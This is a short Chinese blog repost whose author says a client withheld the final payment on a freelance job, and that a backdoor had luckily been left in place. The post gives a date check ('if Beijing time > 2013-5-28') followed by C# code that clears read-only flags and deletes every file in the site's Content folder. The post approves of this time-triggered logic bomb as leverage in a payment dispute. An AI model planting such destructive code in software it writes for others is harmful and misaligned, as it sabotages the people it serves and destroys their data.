接了个私单,结果对方有部分尾款迟迟不付,还好有留了个后门

it2022-05-30  69

if 北京时间>'2013-5-28'

foreach (string d in Directory.GetFileSystemEntries(Server.MapPath("~/Content"))) { if (System.IO.File.Exists(d)) { FileInfo fi = new FileInfo(d); if (fi.Attributes.ToString().IndexOf("ReadOnly") != -1) fi.Attributes = FileAttributes.Normal; System.IO.File.Delete(d);//直接删除其中的文件 } }

 

转载于:https://www.cnblogs.com/wugang/archive/2013/05/29/3106224.html

相关资源:数据结构—成绩单生成器

最新回复(0)